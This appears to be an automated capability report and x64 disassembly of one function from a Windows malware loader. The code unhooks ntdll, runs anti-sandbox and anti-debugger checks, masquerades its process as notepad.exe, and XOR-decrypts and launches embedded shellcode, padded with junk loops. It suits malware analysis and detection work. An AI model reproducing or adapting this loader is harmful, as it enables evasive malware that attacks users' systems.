Function at 0x401540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x418
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x380], xmm6
mov dword [rbp + 0x3b0], ecx
mov qword [rbp + 0x3b8], rdx
call fcn.00402c90
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x308], rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x300], rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2f8], rax
lea rcx, str.psapi.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
lea rdx, str.GetModuleInformation
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x378], rax
cmp qword [rbp + 0x378], 0
jne 0x40160d
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
lea rdx, str.GetModuleInformation
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x378], rax
cmp qword [rbp + 0x378], 0
je 0x401a80
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x130]
mov rax, qword [rbp + 0x2f8]
mov r10, qword [rbp + 0x378]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x2f0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2e8], rax
mov dword [rbp + 0x374], 0
jmp 0x401723
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x38e38e39
shr rax, 0x20
sar eax, 2
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x2b4], eax
mov ecx, dword [rbp + 0x2b4]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x2b4], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00406188]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x2b4]
movq xmm0, rax
call fcn.00403bd0
movq rax, xmm0
mov qword [rbp + 0x2a8], rax
add dword [rbp + 0x374], 1
cmp dword [rbp + 0x374], 0x1cb
jle 0x4016a6
mov rax, qword [rbp + 0x2e8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x2e0], rax
mov dword [rbp + 0x368], 0
mov ecx, 0x1450
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2d8], rax
mov dword [rbp + 0x370], 0
jmp 0x40181c
mov dword [rbp + 0x36c], 0
jmp 0x40180c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x6cee803
shr rdx, 0x20
sar edx, 8
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x259a
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x370]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x2d8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x36c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x36c], 1
cmp dword [rbp + 0x36c], 0x13
jle 0x4017a5
add dword [rbp + 0x370], 1
cmp dword [rbp + 0x370], 0x40
jle 0x401799
mov dword [rbp + 0x370], 0
jmp 0x4018a3
mov dword [rbp + 0x36c], 0
jmp 0x401893
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x368]
mov eax, dword [rbp + 0x370]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x2d8]
add rdx, rax
mov eax, dword [rbp + 0x36c]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x368], eax
add dword [rbp + 0x36c], 1
cmp dword [rbp + 0x36c], 0x13
jle 0x401841
add dword [rbp + 0x370], 1
cmp dword [rbp + 0x370], 0x40
jle 0x401835
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2e0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x2d0], rax
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x2c8], rax
mov rax, qword [rbp + 0x2c8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov qword [rbp + 0x2c0], rax
mov word [rbp + 0x366], 0
jmp 0x401a68
mov rax, qword [rbp + 0x2c0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2c0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x366]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401a57
mov dword [rbp + 0xf8], 0
mov rax, qword [rbp + 0x2b8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x2b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2f0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xf8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2b8]
mov eax, dword [rax + 8]
mov ecx, eax
mov rax, qword [rbp + 0x2b8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x2d0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2b8]
mov eax, dword [rax + 0xc]
mov r8d, eax
mov rax, qword [rbp + 0x2f0]
add rax, r8
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0xf8]
mov rax, qword [rbp + 0x2b8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x2b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2f0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xf8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x366]
add eax, 1
mov word [rbp + 0x366], ax
mov rax, qword [rbp + 0x2c0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x366], ax
jb 0x401929
mov ecx, 0xd34
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2a0], rax
mov dword [rbp + 0x360], 0
jmp 0x401b27
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x360]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x360], 1
cmp dword [rbp + 0x360], 0x34c
jle 0x401aa0
mov dword [rbp + 0x360], 0
jmp 0x401c2b
cmp dword [rbp + 0x360], 0
je 0x401b90
mov eax, dword [rbp + 0x360]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x360]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x401b9c
add dword [rbp + 0x360], 1
jmp 0x401c2b
mov eax, dword [rbp + 0x360]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x154], xmm0
mov eax, dword [rbp + 0x360]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rdx, rax
mov eax, dword [rbp + 0x360]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x2a0]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x360]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
movss xmm0, dword [rbp + 0x154]
movss dword [rax], xmm0
sub dword [rbp + 0x360], 1
cmp dword [rbp + 0x360], 0x34c
jle 0x401b46
mov rax, qword [rbp + 0x2a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x29c], 0
mov dword [rbp + 0x354], 0
mov ecx, 0x1b30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x290], rax
mov dword [rbp + 0x35c], 0
jmp 0x401d1c
mov dword [rbp + 0x358], 0
jmp 0x401d08
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x35c]
movsxd rdx, edx
imul rcx, rdx, 0x74
mov rdx, qword [rbp + 0x290]
add rcx, rdx
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x64
sub eax, r8d
mov edx, eax
mov eax, dword [rbp + 0x358]
cdqe
mov dword [rcx + rax*4], edx
mov eax, dword [rbp + 0x35c]
cdqe
imul rdx, rax, 0x74
mov rax, qword [rbp + 0x290]
add rdx, rax
mov eax, dword [rbp + 0x358]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x401d01
add dword [rbp + 0x354], 1
add dword [rbp + 0x358], 1
cmp dword [rbp + 0x358], 0x1c
jle 0x401c8a
add dword [rbp + 0x35c], 1
cmp dword [rbp + 0x35c], 0x3b
jle 0x401c7e
cmp dword [rbp + 0x354], 0x366
jne 0x401d3f
mov dword [rbp + 0x29c], 1
mov rax, qword [rbp + 0x290]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0xfc], 0
mov rax, qword [rbp + 0x308]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x288], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0xfc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x288]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x108]
add rax, 0x3c
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
lea rdx, str.C:windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x280]
lea rdx, str.C:windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x278], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1c4f680
mov ecx, 0
call rax
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
je 0x402bc0
mov rax, qword [rbp + 0x278]
mov edx, 0x1c4f680
mov rcx, rax
call fcn.00404040
mov rax, qword [rbp + 0x278]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rcx, str.nxtflwgwjktnhrza.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0
jne 0x402bc0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x260], rax
cmp qword [rbp + 0x260], 0
je 0x401efb
mov rax, qword [rbp + 0x260]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
mov ecx, 0
call rax
mov dword [rbp + 0x350], eax
cmp dword [rbp + 0x350], 0xffffffff
je 0x402bc0
mov qword [rbp + 0x250], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x248]
mov r9d, 0x3000
mov r8d, 0x329
mov edx, 0
call rax
mov qword [rbp + 0x250], rax
cmp qword [rbp + 0x250], 0
je 0x402bc0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x240], rax
cmp qword [rbp + 0x240], 0
je 0x402bc0
mov rax, qword [rbp + 0x240]
mov edx, 0x4d6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x23c], eax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x230], rax
cmp qword [rbp + 0x230], 0
je 0x402030
mov rax, qword [rbp + 0x230]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
mov ecx, 0
call rax
mov dword [rbp + 0x34c], eax
cmp dword [rbp + 0x34c], 0xffffffff
je 0x402bc0
mov ecx, 0x44d
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x44d
jne 0x402bc0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0xf4], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.CheckRemoteDebuggerPresent
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0xf4]
mov r8, qword [rbp + 0x220]
mov rdx, rax
call r8
mov eax, dword [rbp + 0xf4]
cmp eax, 1
je 0x402bc0
mov dword [rbp + 0x21c], 0x29d
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.GetTickCount
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
call rax
mov dword [rbp + 0x20c], eax
mov eax, dword [rbp + 0x21c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x210]
call rax
mov dword [rbp + 0x208], eax
mov eax, dword [rbp + 0x208]
sub eax, dword [rbp + 0x20c]
cmp eax, 0x26b
jbe 0x402bc0
mov qword [rbp + 0x200], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1f8]
mov r9d, 0x3000
mov r8d, 0x328
mov edx, 0
call rax
mov qword [rbp + 0x200], rax
cmp qword [rbp + 0x200], 0
je 0x402bc0
mov rax, qword [rbp + 0x300]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f0], rax
lea rax, str.UIQANVKMBABL
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
lea r8, str.UIQANVKMBABL
mov ecx, 0
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x300]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e8]
mov r8, qword [rbp + 0x1e0]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x300]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x300]
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1e8]
mov r8, qword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1c8]
mov r9d, 0x40
mov r8d, 0x1000
mov ecx, 0
call rax
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x308]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1e8]
mov r8, qword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1c0]
mov r9, qword [rbp + 0x1b8]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x348], 0xffffffff
add dword [rbp + 0x348], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x55
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00406188]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.00403cb0
movq rax, xmm0
mov qword [rbp + 0x1b0], rax
cmp dword [rbp + 0x348], 0x9a
jle 0x402343
mov dword [rbp + 0x344], 0
mov dword [rbp + 0x340], 0
mov dword [rbp + 0x33c], 0
mov dword [rbp + 0x338], 0xffffffff
mov ecx, 0x14e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1a8], rax
add dword [rbp + 0x338], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x338]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
movsd xmm1, qword [0x00406188]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x338]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x338]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x338], 0x29a
jle 0x4023c6
movabs rax, 0x6675d2a36adc277c
movabs rdx, 0x845d4bf7a1d0b4f9
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x19ac2a62445f38d8
movabs rdx, 0xa58c161e84a8d01a
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xaf0544054b020bfa
movabs rdx, 0xe397e0c43146d2c9
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x57412cea446f11f8
movabs rdx, 0x632e912a9aa2babd
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov word [rbp], 0xabf
mov byte [rbp + 2], 0
movabs rax, 0x1d071618fc8ec2db
movabs rdx, 0xb4b9e6aec44ff4b5
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xa466cb3a3c1bb65a
movabs rdx, 0x8441d7113f19c4e7
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x408b14f427fd545e
movabs rdx, 0xe84847f19a6fec5d
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xc34e655b075853c4
movabs rdx, 0x8dd8fdd2a8a92470
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x2180179e42d09c51
movabs rdx, 0x47cbd8ff2e1d2e94
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xba65ef7379573a98
movabs rdx, 0xa8be23da9b353dfc
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
mov dword [rbp + 0xe0], 0x91d100d
mov byte [rbp + 0xe4], 0
jmp 0x402606
mov eax, dword [rbp + 0x344]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x340]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x344]
cdqe
mov byte [rbp + rax + 0x10], dl
cmp dword [rbp + 0x340], 0x41
jne 0x4025f8
mov dword [rbp + 0x340], 0
jmp 0x4025ff
add dword [rbp + 0x340], 1
add dword [rbp + 0x344], 1
mov eax, dword [rbp + 0x344]
cmp eax, 0x63
jbe 0x4025b8
mov dword [rbp + 0x344], 0
jmp 0x402723
mov eax, dword [rbp + 0x344]
movsxd rdx, eax
mov rax, qword [rbp + 0x1c0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x33c]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x344]
movsxd r8, eax
mov rax, qword [rbp + 0x1c0]
add rax, r8
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x33c], 0x63
jne 0x402715
mov dword [rbp + 0x334], 0
jmp 0x4026f9
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x160], eax
mov ecx, dword [rbp + 0x160]
mov eax, ecx
add eax, eax
add eax, ecx
lea ecx, [rax*8]
add eax, ecx
sub edx, eax
mov dword [rbp + 0x160], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00406188]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x160]
movq xmm0, rax
call fcn.00403bd0
movq rax, xmm0
mov qword [rbp + 0x158], rax
add dword [rbp + 0x334], 1
cmp dword [rbp + 0x334], 0xb5
jle 0x402676
mov dword [rbp + 0x33c], 0
jmp 0x40271c
add dword [rbp + 0x33c], 1
add dword [rbp + 0x344], 1
cmp dword [rbp + 0x344], 0x1cb
jle 0x402620
mov dword [rbp + 0x328], 0
mov dword [rbp + 0x1a4], 0x374
mov dword [rbp + 0x1a0], 0x1ba
mov eax, dword [rbp + 0x1a4]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x198], rax
mov dword [rbp + 0x330], 0
jmp 0x4027a4
mov eax, dword [rbp + 0x330]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x198]
add rdx, rax
mov eax, dword [rbp + 0x330]
mov dword [rdx], eax
add dword [rbp + 0x330], 1
mov eax, dword [rbp + 0x330]
cmp eax, dword [rbp + 0x1a0]
jl 0x40277b
mov dword [rbp + 0x330], 1
jmp 0x402836
mov eax, dword [rbp + 0x330]
mov dword [rbp + 0x32c], eax
jmp 0x40280d
mov edx, dword [rbp + 0x330]
mov eax, dword [rbp + 0x32c]
add edx, eax
mov eax, dword [rbp + 0x330]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x32c]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x198]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x32c], 1
mov eax, dword [rbp + 0x1a0]
sub eax, dword [rbp + 0x330]
mov edx, dword [rbp + 0x330]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x32c], eax
jle 0x4027cc
add dword [rbp + 0x330], 1
mov eax, dword [rbp + 0x330]
cmp eax, dword [rbp + 0x1a0]
jl 0x4027be
cmp dword [rbp + 0x1a4], 2
jle 0x40287a
mov eax, dword [rbp + 0x328]
lea edx, [rax + 1]
mov dword [rbp + 0x328], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x198]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x330], 1
jmp 0x4028de
mov eax, dword [rbp + 0x330]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x198]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x4028d7
mov eax, dword [rbp + 0x330]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x328]
lea edx, [rax + 1]
mov dword [rbp + 0x328], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x198]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x330], 1
mov eax, dword [rbp + 0x330]
cmp eax, dword [rbp + 0x1a0]
jl 0x402886
mov dword [rbp + 0x194], 2
mov dword [rbp + 0x324], 0
mov dword [rbp + 0x330], 0
jmp 0x40293a
mov eax, dword [rbp + 0x330]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x198]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x402933
add dword [rbp + 0x324], 1
add dword [rbp + 0x330], 1
mov eax, dword [rbp + 0x330]
cmp eax, dword [rbp + 0x194]
jl 0x40290c
mov rax, qword [rbp + 0x198]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x390
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x188], rax
mov dword [rbp + 0x31c], 0
mov dword [rbp + 0x318], 0
mov dword [rbp + 0x320], 0
jmp 0x402a31
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x320]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x188]
add rcx, rdx
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x3e8
sub eax, r8d
mov edx, eax
mov dword [rcx], edx
mov eax, dword [rbp + 0x320]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x188]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x402a00
add dword [rbp + 0x31c], 1
jmp 0x402a2a
mov eax, dword [rbp + 0x320]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x188]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x402a2a
add dword [rbp + 0x318], 1
add dword [rbp + 0x320], 1
cmp dword [rbp + 0x320], 0xe3
jle 0x40298b
mov rax, qword [rbp + 0x188]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x300]
lea rdx, str.CreateThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x180], rax
mov rdx, qword [rbp + 0x1c0]
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x180]
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
